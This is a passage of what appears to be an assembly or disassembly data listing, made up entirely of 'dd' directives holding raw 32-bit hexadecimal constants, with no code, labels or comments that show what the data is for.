27659953h, 0E719E60Dh, 0BE10C23Ah, 15C660E0h dd 34E6C770h, 975959CDh, 7A29313Ah, 52066607h, 0A1656E68h dd 73933B1h, 185089C6h, 1ABAE09Fh, 0AA4E1E73h, 9F17E0F1h dd 0F44FB2AEh, 983760D3h, 4CBE3966h, 75BC6B62h, 0CF3F9BD3h dd 2DA10685h, 866C0EF6h, 8A1A9945h, 8C5D2378h, 30704C30h dd 51DA1CAFh, 140D85Eh, 0CA584717h, 80DE72B9h, 81AE92C6h dd 9EF530C7h, 0E26CB465h, 1EC3F218h, 0D7449C50h, 67C5BD26h dd 986B9AC1h, 0A3C6B651h, 4F884D16h, 7509D69Ch, 8DFDDC90h dd 6495AF1Eh, 70E0B2A5h, 2E4A2BAEh, 0CF8A444Ch, 0E5DEF48Ah dd 72150C0Bh, 1C81D265h, 5A234779h, 8A8E5CCAh, 4B54CEF3h dd 1485F4ADh, 36A809A2h, 1912A314h, 10570EE4h, 0B4EEB05h dd 0E4C7FC1Fh, 164BC282h, 8090FA2Bh, 28EAA789h, 0D4692B7Bh dd 0AABD93C8h, 1151E4B6h, 59D4D12Eh, 0AF6D1696h, 7143A0E6h dd 0A8B0C461h, 9F8F37EFh, 0FB0C2CC9h, 0C04C780Fh, 3CC2953h dd 0CB85A284h, 2CC11A4Eh, 311F55CEh, 0DF22C295h, 0CF62C24Ah dd 0AAE8CD09h, 59A1452Eh, 184A1219h, 303348EBh, 9D008FC6h dd 0ACCACD84h, 717FF80Fh, 27D4C707h, 5000974Fh, 382F778Dh dd 0E5829098h, 0ED08F289h, 9A4180C4h, 28C85976h, 3DE9DE05h dd 4BD1EE7Fh, 0B199B049h, 0C2A48779h, 671E9DE0h, 0DD018EF8h dd 1D950931h, 0E11DE677h, 87BD14F2h, 0E593998Fh, 0B2BF1EF2h dd 203D0CE7h, 3E184F7Ah, 3F882AF9h, 2D47037h, 1234D017h dd 0A7A3579Fh, 0A2F9C312h, 0E7932B3Dh, 0A29B77CEh, 77331C89h dd 96859812h, 0AD50D88Eh, 2798F63Eh, 0EF443270h, 56EBFB11h dd 773C01A7h, 503840DAh, 0EC5F5CF7h, 7D6CE361h, 0AA0E41B6h dd 0C19E880Ch, 22A5FC0Ch, 6A8CAB48h, 6262A4C7h, 0BB0A4C8Eh dd 0DED5AE16h, 857A85CFh, 0B9DF3CABh, 5F10030Fh, 27EC8194h dd 0C443D866h, 0CD6B2CD3h, 88B4DBC1h, 2C22D006h, 0A25713B6h dd 9166D55Ah, 0B458CAD9h, 0FC402954h, 7BFB220Bh, 0C1E0D8CFh dd 480C2E2Ch, 8BD5CE1Bh, 0E2883508h, 10C8801Fh, 0A018C93Eh dd 2C282BDCh, 6501E220h, 5021D0F8h, 0A1D3CE3h, 0A4443116h dd 0B301D302h, 0A81C1830h, 7A5EA7C8h, 5F045B0h, 458041F7h dd 49D90996h, 0E2C37983h, 0F8337BC8h, 8168F1B5h, 3783E42Dh dd 0C30496D4h, 481400D2h, 3A557D82h, 0DE03F09h, 0A04FE418h dd 1EB86846h, 88EBF71Ah, 0BB042BC6h, 43AC43A8h, 0C44AD68Ch dd 0AC05029Eh, 0CCF5EAC2h, 0AE77F3FAh, 0F8D97E1Eh, 536CB632h dd 0D19E1612h, 0EA709EB5h, 9151B155h, 55CFD40Fh, 759E686Eh dd 0C89ED8E4h, 9285DDFAh, 7155DECCh, 8BF91AB5h, 0DB226211h dd 67A783D4h, 0CB9EB8A0h, 0AA8EAF28h, 652CF376h, 11805DCCh dd 0D64E9C6Dh, 0F581688Dh, 6B73A03Ah, 0E93E3C10h, 598D180Bh dd 56014A12h, 0DC9EDDEFh, 0E44B3F72h, 8C76EA7Ah, 2EB1232Bh dd 4BB0D89Ch, 0E349680Bh, 8BA35402h, 0CE348611h, 90300455h dd 11E8AB10h, 2B1A47C5h, 880F7807h, 799106D8h, 7158AF96h dd 1F1A0E04h, 3702E715h, 0A4F9CD89h, 8222191Ch, 4F7485B4h dd 7565609Dh, 0BC452705h, 0FA0DF406h, 0E4FE0610h, 139F8FB3h dd 9DF1CE8Ch, 0B0DCEE87h, 3A458007h, 82708633h, 114110DAh dd 3749415Fh, 2AB86185h, 0DB0B45F9h, 40EF920Eh, 5228B459h dd 8611A39h, 0BA8CAE9h, 9903AD23h, 0AD3598CEh, 0FC69702Ch dd 37088B8Eh, 0EFCB5BFDh, 0B38BC034h, 2BD372B6h, 40B8F0Ah dd 0ABA8CD39h, 0D23E86Fh, 4EA6712Fh, 0F50CFB0Ch, 0E0EECB79h dd 0A5B15EA2h, 3211CFE8h dd 0BB6F4468h, 79C1C55Ch, 31507D91h, 59371FD0h, 0A2BA1915h dd 4174A088h, 6CF2D2EBh, 0D100EBF9h, 23C0AB45h, 5E145B81h dd 0B54CA114h, 7B596575h, 25DB0EB5h, 0E23D230Ch, 474C1468h dd 0B9FFB548h, 0EC38EE01h, 6011850Bh, 0B1550F4Ah, 178115ECh dd 6F13AD50h, 0B1815A9Ah, 0B25F88D8h, 4FA28346h, 211498B5h dd 968C216Bh, 0F7B3E369h, 55458629h, 0A25BF3CBh, 251EA20Bh dd 0AD43AA0h, 72AC7F41h, 38CABB39h, 0C53DAEC7h, 0F42EBB07h dd 0DEA87137h, 0F1AB6748h, 0FE8CBE1Ah, 84C74501h, 0AED1C9AAh dd 0B9D7C314h, 629EE2Bh, 5E9E968Fh, 0A3985D9Ch, 4C1105EDh dd 0B4D1C26Bh, 9B4E3689h, 0CF431338h, 624412C1h, 468F94Ch dd 44680493h, 8468CA13h, 0B5C8213h, 0AE2B3F1Ah, 0D2154A02h dd 52ADE4F0h, 28086ABBh, 88936B78h, 0E5D135BCh, 6DEA0B35h dd 8ABF2DBEh, 5F22597Eh, 0F3AB6B21h, 0F3B3FA15h, 791C06EDh dd 5832A82Ah, 9677F40h, 0C4CE112Fh, 7C72D6B2h, 74EF5955h dd 8731407Eh, 0AC8419BCh, 0FB09654Bh, 37CB558Dh, 0ABC33C97h dd 0A25E1B58h, 485D09F8h, 0A4717EA0h, 0E4555F61h, 63F76667h dd 7D164826h, 40102C28h, 9CE90948h, 2ECA858Ah, 63174182h dd 0E8C92E9h, 0E75248A8h, 0F2A807E2h, 15C9B409h, 0A73EAD7Dh dd 72AC14Dh, 0E5540CD0h, 0E0A4BECFh, 89052F05h, 0F314532Dh dd 0CC400B47h, 0DE6CAF57h, 4D9FB2BEh, 99C3AECEh, 0F106895h dd 7EE2E87Eh, 35A21B4Ch, 0D0D2EAC8h, 0EDD020BBh, 0D2EAC6h dd 695EFF22h, 43B0C468h, 19A89A80h, 0F1B7F8C4h, 760B3EC6h dd 878A8B00h, 0A40FC982h, 36D43085h, 7115DF5Eh, 4EC3EDBCh dd 9FC8DEAFh, 99500D22h, 61C0DAEAh, 0EDC8965Fh, 3EE6DB0Ch dd 3FC94C84h, 0BAA70E75h, 524F5011h, 47B5139Dh, 6B493A83h dd 0E3C012A6h, 51D7A24Fh, 2EE9A4B8h, 3CFD1662h, 18D9D681h dd 0B52AB45Fh, 0E9D44511h, 956AEF93h, 657F5DD0h, 0F3582992h dd 85605DC5h, 0A59BBE4Fh, 1EB5B949h, 24B4FA03h, 0C1700D48h dd 0D74F430Ch, 0A6AA7B18h, 0B956FCABh, 8E146D4h, 82B2F444h dd 5097F660h, 6F8E3DBEh, 17164589h, 71759D6Eh, 0F5C200BDh dd 0C9FBBC74h, 27A709FBh, 0A8F34980h, 0EE5F87C8h, 0C09317C9h dd 0EDA32554h, 90BDD80Ah, 23A24EBAh, 0D5458FFh, 34AEE81h dd 4B12E88h, 0EB90095Fh, 8105609Eh, 6D5F2071h, 0E2BFA238h dd 14D293AAh, 2EE8CB8Eh, 930C9CFFh, 517C0B86h, 2EE82207h dd 84E56819h, 0BE910A65h, 2C065E70h, 3B1A3560h, 2D736501h dd 15BA15EAh, 30CB0D2Bh, 7C9A29C8h, 166AA154h, 0C3641FB4h dd 0D39FD568h, 672E2B3h, 61532A8h, 0FDB48118h, 0F32B83AAh dd 0D2E5ACA1h, 5655F5FFh, 2A28559Eh, 5AA55A9Fh, 2C68944Ch dd 40AA175Fh, 451EA84Eh, 0B501B7F6h, 1457636Fh, 8801D529h dd 589747F4h, 0F5418CE3h, 0A180D159h, 0B41DCDC0h, 8D3A1B5Bh dd 348AFE54h, 1F81F4C6h, 10728F4Fh, 726AC027h, 1E685717h dd 0B0CCB97Eh, 0D2BABC88h, 0EF1F3B86h, 2FBE78CAh, 5E17C192h dd 0CF258B86h, 30499C5Dh, 5D2F14F0h, 0E45D3DF7h, 0D5B282F9h dd 0D9D81F99h, 0EA20B401h, 5FEA845Ch, 3077F671h, 0CA91869Ch dd 0F8E2434Fh, 5D45E8F9h, 9A213D16h, 0A6718983h, 0BD7A7F84h dd 657788CBh, 0ADD60691h, 0D1C33E71h, 0E9916A14h, 0DE4527AAh dd 860FC495h, 872769EAh, 0FD202B29h, 59220566h, 0F0EA2406h dd 4FC10615h, 666D501Dh, 0F46FC5F4h, 0A64C01F5h, 64FACD21h dd 2AEF457Eh, 0EA4A1052h, 29FCC352h, 3BCBAD03h, 3ADF74DBh dd 0E906A92Fh, 88B1C317h, 0C8AD4FA1h, 0A208B420h, 0A11104Fh dd 0C923B1B4h, 23BF56E1h, 0EA40AB34h, 0FD4062E7h, 5A5DBAA7h dd 55C8823Ch, 8B571844h, 1FD21301h, 0F0FCD0FBh, 4FBD331Dh dd 301E5D97h, 44DE803Bh, 286BB58h, 929511DAh, 0A0480912h dd 24E9C11Dh, 681A6911h, 469E1247h, 0C0391C64h, 85D75B07h dd 0EAAF8901h, 0C0903DF8h, 183CC713h, 41771152h, 0D78754Ch dd 0AC06E52Eh, 0ACF9182Fh, 0D89DD5CBh, 95108B07h, 25522024h dd 3310F157h, 86C1E4C6h, 0BE9E2CEFh, 597CF575h, 2BB5CA60h dd 7056631Ch, 3FDF445Dh, 0B3D2F454h, 80D2832Fh, 2DBF824Fh dd 0B45F4154h, 9A3107B1h, 555BA3F2h, 0A35F299Ah, 75C46231h dd 874A7906h, 81653C12h, 4719717Dh, 0EC107E73h, 2082930Bh dd 8FE195D6h, 6936F182h, 8AC3B10Ah, 1E52713Ah, 894903FEh dd 0BF7332EEh, 0EB16FC2Eh, 0D164A40Ah, 0EDBC6302h, 46A7C5ABh dd 7DE8A3AFh, 9554F208h, 7B68D01Ch, 73D5BC18h, 3CF1894h dd 0B8BB0CACh, 6DC94B2Ah, 478462C0h, 9AB957h, 1F651C9h dd 8C6B8189h, 90300D17h, 0ED02932Eh, 0AA2A475Dh, 71D5A168h dd 54090727h, 8155A739h, 5F6B4DAFh, 39EEBE6h, 0CA3E7381h dd 59AA8DD5h, 3224C2C3h, 6F7F33D3h, 0F35FC799h, 0C628E33Bh dd 0FBD96385h, 0C650C545h, 0E4AFD60h, 890D925h, 0A29972BFh dd 22A525F7h, 0D1E44565h, 22A701D6h, 6368C696h, 13BDBC3h dd 7FE7E477h, 3917F9FEh, 80DD7718h, 6556F621h, 95668D5Ch dd 5D8257F8h, 0B7E22065h, 0BA4C6FC2h, 2651744h, 15A31AA4h dd 5FC789A8h, 0ABBCC18Dh, 0C57946BDh, 0B203488Ah, 600F81ACh dd 0BB2B7F8Fh, 0CD6F3626h, 6A0DE876h, 0C79AB911h, 1F451D49h dd 0E46A6890h, 0A318BC9Fh, 2E610227h, 6B536A7Bh, 0A2EE2199h dd 4E0FF7Ah, 63268794h, 0B430149Fh, 344AA224h, 558838E0h dd 0A010E972h, 369FE705h, 2B45F478h, 3AA7B9D8h, 86A36901h dd 244ACBDh, 0B6642929h, 89E65DC8h, 989FEF24h, 4212251Ah dd 45053687h, 461E5D70h, 0B201F67Eh, 46B9BBA1h, 0C82E67E1h dd 2FF17F63h, 9BE72289h, 0E524F257h, 1FE4BF1Fh, 0F061D53Fh dd 0C5A77171h, 0CB01718h, 0D4AA8950h, 0B3E97CF1h, 5F592022h dd 48211006h, 7C5BC60Eh, 1A0EF7EEh, 2E6C554Ch, 63F7FC23h dd 403F4BAEh, 98AAD1D5h, 0FB702760h, 0CD0D9192h, 0A67BE2A0h dd 1F5F5548h, 0E015DA0Fh, 6339517Fh, 0E635210Ah, 58BFF87Dh dd 596566C0h, 46CF3EFh, 34C3E1CBh, 18418E9Ch, 5E7D8FF8h dd 542817C8h, 34F26A51h, 90D315A9h, 1D0E6228h, 8704D40Fh dd 0EC23900Eh, 6B4660A4h, 0F9372EB1h, 0B105131Ch, 6BDE3EA2h dd 430AF47Fh, 0C76D6943h, 0AFF90E9h, 0F4CAD7BFh, 0C8B512E2h dd 0ED457714h, 26AF914Fh, 2C026046h, 4440F446h, 31D880CBh dd 28BBF241h, 61055290h, 0D3FBC92Dh, 500DD845h, 6F48114h dd 8D70B44Ah, 283A083Bh, 1CA2782Eh, 99DC5D8Ah, 0A95EE80h dd 2D0A6720h, 0A59C520Dh, 14FE3E31h, 0AECD5426h, 46358C14h dd 7D6BCE7Fh, 10DF1752h, 194443FFh, 7F11EFEDh, 0C675CEEEh dd 0D18371D0h, 0EE655941h, 75D4E8Bh, 595786B1h, 0C64E56BCh dd 50BAA451h, 485273F9h, 0E79B3CC8h, 0CC65688Ch, 0ACB530ABh dd 562FEDACh, 8BE8CF31h, 0C9B9FC08h, 974681CCh, 763B8C67h dd 2A0A2479h, 0D08B964Fh, 0F02AC02Ch, 62038CA5h, 4FF17A40h dd 0ACC84501h, 0AB282E1Ah, 0A1413A9Dh, 55413CB7h, 2A4EB08Ch dd 503ED81h, 3097DD8Ah, 53475BAAh, 50203161h, 9D2DE505h dd 0FB04AE6Ah, 2BA86A62h, 9B46A15Fh, 3EB8DDD1h, 70E8F3D6h dd 0FB31CC73h, 0B575D6ECh, 1D50419Dh, 0FE227185h, 9D159C03h dd 65596306h, 1EF4F56h, 0C2FAC6F6h, 984FEE3Ch, 0D667C409h dd 38933309h, 0C4A2D1B0h, 285FDD08h, 5DCD589h, 689A53BDh dd 0C55DCB9h, 8682F890h dd 59852E4Dh, 9E564449h, 0AEBEC5AEh, 15490C45h, 9861D2FEh dd 96B60E34h, 0F26A1806h, 41A57A86h, 3CC7DFC5h, 5FCC4FE2h dd 197B68B2h, 0C792AB3h, 6AFE6B17h, 33268AB1h, 9E5DDAA3h dd 0E50BE631h, 0FE681891h, 52FBD16Ah, 94E245E6h, 3B0558B9h dd 8933990Eh, 555111F5h, 2924418Eh, 9029EB09h, 2DD1A2AAh dd 4A79EBA8h, 94B55E56h, 486F9F19h, 14DEE554h, 0A71F8459h dd 0C583C053h, 0E4B3E474h, 865A1A9Bh, 0A82CF480h, 0DF39210Eh dd 95719305h, 717D9014h, 8BBCDF9Dh, 8ED2A0C8h, 60AB2AC4h dd 1DA121FBh, 98A3C1FEh, 2145C031h, 4CC02AB9h, 0FDD33D24h dd 186F68Bh, 0DE002C92h, 71262C89h, 0D3E126D1h, 0E83E38EAh dd 5874BA12h, 33A9D207h, 8D780335h, 0D74C2FAh, 5441EE9Ah dd 0F281822Ah, 74835945h, 0B2A8A8Bh, 0F641F2D2h, 5069A425h dd 9EF75781h, 1D55621Eh, 8EE30209h, 652BF0D5h, 146DBD87h dd 0E66D9D50h, 7D5AA1E6h, 0E5A48F8Ch, 0AA9D3718h, 0B5D6EA93h dd 8C378E08h, 377788ADh, 1AB69A8Eh, 5EC19B3h, 0EB300D0Ah dd 0F9C2EFDAh, 4FE9722Bh, 18A88A05h, 0EAD6AA49h, 0EB0F9924h dd 53448ACBh, 0B94B7313h, 173468E3h, 5A398BABh, 0F4198015h dd 98B478A6h, 0C6259AA8h, 4EA5BEACh, 0BAB06915h, 3EB5E96Ah dd 3D2B8B1h, 0B929AA48h, 1639A105h, 0E0E0FFA6h, 7422E9DEh dd 0FADEA033h, 5D7F5F16h, 84C6A012h, 2380E6B2h, 0C69D5A5Ch dd 0DEA17185h, 0D666D106h, 0EB5A77EFh, 8511217Dh, 0AA79E479h dd 0B6689A0Ah, 27B4DA07h, 0CD2348C2h, 0C110BA27h, 8941489Fh dd 85E11953h, 0B0CBA0E8h, 544EAD8Fh, 0A0B5C35Dh, 0F467C693h dd 5D974502h, 0EE64E650h, 714D48Bh, 0B3EF0527h, 4FF2A023h dd 32882B14h, 0BCAD693Ch, 2684034Fh, 8630500Dh, 8EAAA0FDh dd 859DB162h, 8F3E4A1Fh, 0A1A95AB4h, 0CF0BF2B0h, 0B2D3D3DAh dd 9402BEF2h, 0E0EA8328h, 6F98E8E4h, 0E56470AAh, 65B9387Dh dd 0D62E38AAh, 42703468h, 0FBEF8D0Eh, 160E69DEh, 0A0A55E6Fh dd 34B2E5F1h, 0BB338984h, 7252C196h, 4852E3F1h, 4AA39861h dd 0EA428BBh, 0F7365BF3h, 68966941h, 6984A095h, 15F1DCD7h dd 0C2C925Eh, 5CD12D23h, 11722A94h, 7A8F8E2Dh, 94038A37h dd 0C2E2B9F0h, 9260FA4h, 7D44FE9Ch, 95357124h, 5E3209F5h dd 0D1DC01E5h, 74B1407h, 288713C5h, 0E7D3CBE9h, 0C5B01B81h dd 7C1F9517h, 0B3A9B84Ah, 0DC854098h, 51C2C32Eh, 8951D4D0h dd 53E895D4h, 2FED7C86h, 0DD5CDD5Bh, 0E92BCA63h, 80C1A2C2h dd 536EADA6h, 47E2F4B4h, 0EE2FCFBCh, 2C60FF8Ch, 0A8EA9BF9h dd 1CB3895Fh, 482E42FAh, 0E1FE517h, 5BB9B0B6h, 176A174Fh dd 7B89F375h, 0AE143E77h, 983551F5h, 9B0CBA46h, 5DDC8032h dd 5F499DF0h, 9F6EF6EFh, 2BE9F387h, 4BAF348Ch, 0BA8FF851h dd 762CE284h, 144508EEh, 4855C28Dh, 0C50F16BBh, 8A8E4DF0h dd 53313EA3h, 2744FDE2h, 0E54DEAE4h, 0A26D6761h, 0C7CA883Bh dd 870C145Fh, 0E1410FEh, 843FBF8Ch, 0F7EA9D8Bh, 1C1D1AABh dd 0A9461D0Bh, 2997F302h, 92605419h, 8984A111h, 0C53480AAh dd 14111314h, 0A41F302h, 0D7D9660Ch, 3FA00ECAh, 5DEA7686h dd 2783A9F4h, 378978B3h, 0F5D0B155h, 88F2D81h, 0E31A9B0Ah dd 0EB7C362h, 3CE418D4h, 0FC5203CCh, 7225513Ch, 852A1D52h dd 53AB09CCh, 2C6F85CDh, 462155CBh, 0DD235F47h, 0CC0485E4h dd 541B183Fh, 0C228B1ACh, 0E8D41107h, 20ACDA42h, 8F917A48h dd 0AB6B5C71h, 0E8A4AFD7h, 2537FDD6h, 5F22DB92h, 0D39B5E98h dd 18930C1Dh, 9C86FAFBh, 0A5122E02h, 0F2C5C202h, 8B7D8A49h dd 0A45598A7h, 0AD09118Bh, 5FEC0864h, 6526C812h, 62124236h dd 74969F80h, 0CEEAA789h, 5985309Bh, 0DD783C24h, 0AC85B4F4h dd 468B146Ah, 0EA8FD4A9h, 184CCFA2h, 1318EE42h, 0CEB35FCEh dd 0BD768A36h, 7A1A16C7h, 5307E6D3h, 0EB4DFEDCh, 0DF3F242Ah dd 19A67546h, 41209030h, 1261B86Ch, 10CB216Dh, 2492783h dd 87030936h, 4450010Eh, 4A2A3012h, 756A9EE5h, 36A31768h dd 69F08C84h, 0B485175Fh, 4F34AA8Ch, 60E28445h, 27128AB0h dd 5D575C65h, 28AE1B9Dh, 89AF0D14h, 117F1423h, 353CC1BDh dd 0A87D48F8h, 59C17C70h, 358EE2FCh, 8A84210Dh, 36AAA319h dd 0B93DE20Ch, 26AECA09h, 2F557969h, 9AA58269h, 2EF384C6h dd 0A4310C6Eh, 66AA7217h, 0CBB98217h, 15FB0C15h, 0CA0229Dh dd 0AED0FA25h, 35DEBAC8h, 0E3974295h, 0AF12B660h, 819D5D62h dd 0EB9928EBh, 345D0125h, 2E05311Bh, 51841162h, 499BAF5Ch dd 7A054759h, 0B54B013Dh, 62BE3916h, 0D1E89CD0h, 0D335577Eh dd 97041DF9h, 8A00A1D0h, 1A188117h, 74FEDC41h, 50128DFCh dd 1981EB12h, 0B003F420h, 0F2B2AA3h, 0A151035h, 0B1E46BC7h dd 0B11BE98Ah, 41170A3Fh, 0D144035Ch, 0A346A768h, 0EBB5E90h dd 5175117Ah, 2E4F45BDh, 5B40FB67h, 174973C0h, 0EC8A80A8h dd 0BB2B1F78h, 36FC2BB6h, 3E741CAAh, 73BADCF4h, 0B4B4C749h dd 0E55E1860h, 498097C2h, 8CB3B746h, 26CAF30Ch, 5307565Dh dd 0E576EA5Ah, 1885FE32h, 0B7033F28h, 0C6630541h, 562107B7h dd 99024036h, 0CB3A4669h, 29672EDDh, 0F0B4CE89h, 18D17652h dd 1ABE5415h, 1455871Ah, 4A13D1A9h, 8C1BF115h, 0CCBE168Ch dd 6E3D47A4h, 3274E8C8h, 616DCFD8h, 0F11745F0h, 21B4E008h dd 143D20Fh, 6C88156Ch, 4DF9C960h, 9DDB59DFh, 0F01FD6DCh dd 989BED0Ah, 5D447BB1h, 791FCE62h, 18A3BB89h, 23D8FBC3h dd 0EBD667CCh, 4734C1FCh, 540EB283h, 0C8A540Ch, 566B556Ch dd 2C3C7B1Dh, 931BC874h, 0FB5F5F67h, 0EA34E7C2h, 18797AE2h dd 0B75C4F7Eh, 0A3CDCC31h, 3D29D4C6h, 71A4E30Fh, 51B95563h dd 0B875D1AFh, 0E827D187h, 76D17AAFh, 0F9A28542h, 4E465451h dd 0E2520EB6h, 832515F6h, 117540CBh, 9B7D27A2h, 396B87F4h dd 0A1455A23h, 16B8E51Ah, 25E01D5h, 4E8DAFEAh, 94CF82B7h dd 0F31D1D7Eh, 605D55A7h, 69865DBDh, 0FBABF204h, 0C0983C1Fh dd 185F8177h, 83942BC7h, 0E53BBF89h, 0F63E70AAh, 24AA8D4Eh dd 3697A779h, 0FB15E0D7h, 277E90C5h, 7D281D03h, 0E6030FC5h dd 0E4DD6FC2h, 0F42ECB27h, 0D19655E7h, 63F0ADAFh, 0C55E0A03h dd 5F75AD00h, 0ED74ADCFh, 0B3CD88D1h, 0D434DC3Fh, 60A0F463h dd 88CA993Fh, 0D1E53D3Fh, 0E84F9ED7h, 0FB053456h, 21AC59B5h dd 7B7664Ah, 328980C1h, 82036AF6h, 8D7BF895h, 2E088B94h dd 72579B17h, 9BCA7CC5h, 434394B1h, 0ABE48943h, 8ECDC052h dd 50167C61h, 46D01F83h, 3418E568h, 1A937E75h, 0F31E6809h dd 0E14C95D7h, 0EC1A0704h, 29771737h, 955E8E96h, 1428DD5Ch dd 6BC20628h, 0B87E7816h, 9A8726C8h, 8FEB9F80h, 1496A063h dd 0FC7CB444h, 0FB952C8Eh, 3B929F47h, 0C902EF1h, 0C10AA6C8h dd 6188AC2Fh, 47685A3Ah, 2476A142h, 21474A13h, 119488A1h dd 8C526912h, 93ABD220h, 0E8530F86h, 7A23A3D8h, 6E58DD8h dd 0C0B47FBBh, 75367596h, 0B2E089A8h, 546DE4ABh, 0FE0AA1A6h dd 0A30251F7h, 0D17020EEh, 68202AF5h, 0C36A0BBh, 316082Eh dd 422602C1h, 1591574Bh, 78491099h, 76C5D47Dh, 0D722A4ECh dd 96D69351h, 0D052E555h, 0E345A841h, 0FA3E9655h, 1DF4A68Bh dd 22AEBB73h, 500D884Eh, 89106827h, 0F41560A1h, 614123C1h dd 0F7EAC267h, 0C8429AEEh, 0B71230A5h, 78973CBBh, 0AC5848B4h dd 0B4997799h, 8D270DBAh dd 0A9180A8h, 2B62DFE2h, 5B108FCAh, 83EF840h, 3D008711h dd 3CACE7E9h, 7049BAD5h, 88AA8534h, 4C0F5DB9h, 3CCE460Fh dd 0CAB53AF8h, 123C62C7h, 0F32F9E46h, 0E1200DEAh, 0CAE0285h dd 6D52BCF0h, 474F502Fh, 10C84576h, 8CC127E9h, 0FB402F84h dd 0ABE1AE9h, 6802D648h, 53C1027Bh, 40249C18h, 68452EB3h dd 0A560F428h, 4983DC6h, 531749F0h, 970409A8h, 29609640h dd 0C22BE812h, 0D43649E8h, 1025B563h, 34109428h, 0BD776BA4h dd 52B4D5C4h, 14AC661Eh, 4C828525h, 42CE2216h, 1127A311h dd 50C8A54h, 4C4449A4h, 91342A29h, 68DA8E22h, 2356A048h dd 5D3D654Ah, 0B4653D17h, 77514FA1h, 2990DB5Ah, 9D68D6F8h dd 3378DFEEh, 1461583h, 613C07B4h, 56B8530h, 0D2E4B16h dd 48803158h, 11451052h, 0A2C4E7DDh, 5A221Fh, 7C01E76Fh dd 1215F2Bh, 0B2F1AC6Eh, 0A22F6004h, 0AFDB45F5h, 0D42DA072h dd 54DE500Eh, 21991195h, 59451CFFh, 6BAD27D3h, 388854A7h dd 74C27029h, 78058398h, 4D00ABD4h, 9F615506h, 8236741Fh dd 9552D8C3h, 0C475D44Fh, 6C53979Bh, 52B51C02h, 188C2F58h dd 0BA12706Dh, 34D9424h, 17D48BEEh, 0DD40BB6Eh, 6441CE66h dd 0FA4E32FAh, 0C751FBB9h, 0E53BDA23h, 1D4E68C7h, 17C1608Fh dd 68065A13h, 636A505h, 2F400718h, 3318066h, 323531B0h dd 7E432E7Bh, 128D1008h, 5012886Dh, 6E0A072Ch, 197FFD81h dd 0FC03317Bh, 4AD12019h, 178C9D6Ah, 46A6041Ch, 0A5AAD157h dd 2AA5757Ah, 5FF08C1Fh, 796D5A1Dh, 3CA9D65Fh, 0E02F69A2h dd 7D184E2Bh, 9925A4A1h, 0E1A8D5AEh, 0F54976FFh, 12AE576Fh dd 0B80A63CAh, 0EA6B808Ch, 6316805Eh, 8950008Dh, 6134155Fh dd 39F8A77h, 0FB855F8h, 3F182452h, 839E3DEAh, 0F4D5B049h dd 2DF05684h, 303AC80Fh, 0BC5BD450h, 58C8AF1h, 0C2CCD18Ah dd 0A1602AABh, 2DA1AFF5h, 646DC7ABh, 1DDFA83Dh, 447BAD8Ch dd 208F83F8h, 0E811E87Fh, 0FD827C0Fh, 7FBEF61h, 0C3E13C66h dd 33AF5Bh, 0B10F5494h, 0D3EBE087h, 122A441Ah, 0E20894BDh dd 3F1427E4h, 8E26FEDAh, 0C8637721h, 0BD1F3D27h, 0EF5ED407h dd 28F9460Fh, 0B588D93Fh, 0A7E20387h, 75C3FB2Ch, 62CD9150h dd 31270Dh, 0ACEB466Ah, 3CEFD142h, 66C863C2h, 0A8071CA4h dd 70BBBB0Dh, 895727h, 0FC7F82ABh, 0CDE6C846h, 0A95F1559h dd 47AC0E40h, 0AAFDB9F1h, 0C1FD10FDh, 0B975BEB7h, 0A33245C8h dd 3B0CDB6Bh, 0F826E623h, 5F27873Ah, 0EBE08EFBh, 1ECEE3FAh dd 0C0769BCCh, 0FC5FBE09h, 7D78B521h, 2C78156h, 134B8196h dd 0A777578Fh, 9571F404h, 0D5EF9DD9h, 5A718E19h, 93CAB569h dd 0A215A910h, 6077D1A7h, 0AD107388h, 4AFDA286h, 852043F0h dd 7346CD30h, 0ACFA0718h, 0BC28398Ch, 4751F1B8h, 0D844350Bh dd 40DB134Bh, 0E817EFEBh, 8385B39Dh, 39085FD2h, 0C036B824h dd 8318DCC4h, 7DF15FD2h, 548CAAFEh, 2C122AE8h, 9668C4A6h dd 0BA18FD71h, 28AB206Eh, 2FEC3019h, 0C85246A7h, 3DA08DD7h dd 0A3B5EE5Ah, 5D7EFAA3h, 0D1739A63h, 0D918A894h, 98FEB8FBh dd 759BEAC9h, 0A2CEC0A9h, 0B0673EBCh, 0CD5DFB02h, 824562C2h dd 99E843A9h, 8CF8750Eh, 717601F7h, 0FBD5764h, 0D2E5A029h dd 6150B00h, 0BB4F739Dh, 6B2EF172h, 0D4080310h, 3265739h dd 5038DB46h, 98FAD989h, 8388E30h, 31759598h, 9CAB39ECh dd 0C5D26D5Ah, 1CAECA18h, 1DF4D109h, 0BD6F2A6Eh, 8964BA4h dd 35A22306h, 0C322D7FCh, 885A568Bh, 24E2B9EBh, 55332E8Ch dd 4700B64Ch, 258039F5h, 515FC95Bh, 8A0CA9CBh, 75164C09h dd 5E98C23Ch, 8A463688h, 0E93EEEF0h, 0E40130CFh, 0E6BF8109h dd 7B919B80h, 2C5AB4F2h, 7B0A214Ch, 0B0641165h, 6FDB6164h dd 0F541DE5Bh, 4A4CC0B6h, 1C03C456h, 96F0A7D5h, 0B20C2566h dd 516E7DD3h, 8C473FC7h, 29D08229h, 0FB108EA7h, 80190913h dd 0B188B17Ch, 0AF20F811h, 201EC1ECh, 0B882D85Ch, 201BE0F4h dd 0B747EB74h, 30277626h, 7F907D12h, 88970F06h, 0FDBE06E9h dd 72CD5FC3h, 0C264CA4Fh, 54F68D68h, 0CA4395A2h, 0D1397DD1h dd 0A6DA07CAh, 0FA45A4FAh, 0D0CB0FAAh, 9A29AF8Ah, 0A2B4988Ch dd 980730C5h, 19879343h, 5521D5F7h, 8E62C7FCh, 0B576590h dd 25EEE80h, 14BC4066h, 1178AE94h, 72CE7928h, 6B24C2ADh dd 0C4E4A9C0h, 90FA6658h, 0AA9824B2h, 0F7227BA2h, 0C7C0CB2Ah dd 0CFD4407h, 417DABD5h, 0EAA05119h, 0F261002h, 209090EAh dd 0A2A283Fh, 0FF11C40h, 85BDC956h, 917D5A31h, 0CEE4AAF8h dd 0BB511CFEh, 259F15D5h, 0B541E005h, 0A799A474h, 2DEA4A6Fh dd 67CF450Eh, 0DCBFBBDBh, 3B5A4BA4h, 0E2FFACA6h, 7463D11Fh dd 0FED07E63h, 0FE20CE88h, 1FA7E168h, 4FDB0725h, 7C0CFC0Ch dd 0CA2EA1F2h, 280B3FA2h, 5A2CA6AFh, 0D2AB8FB7h, 0B4988000h dd 85F91498h, 5D613434h, 1E4C1681h, 0F5D32BEDh, 81A31A0Ah dd 27A9D848h, 69024A11h, 320A9044h, 448C24ADh, 91A28D18h dd 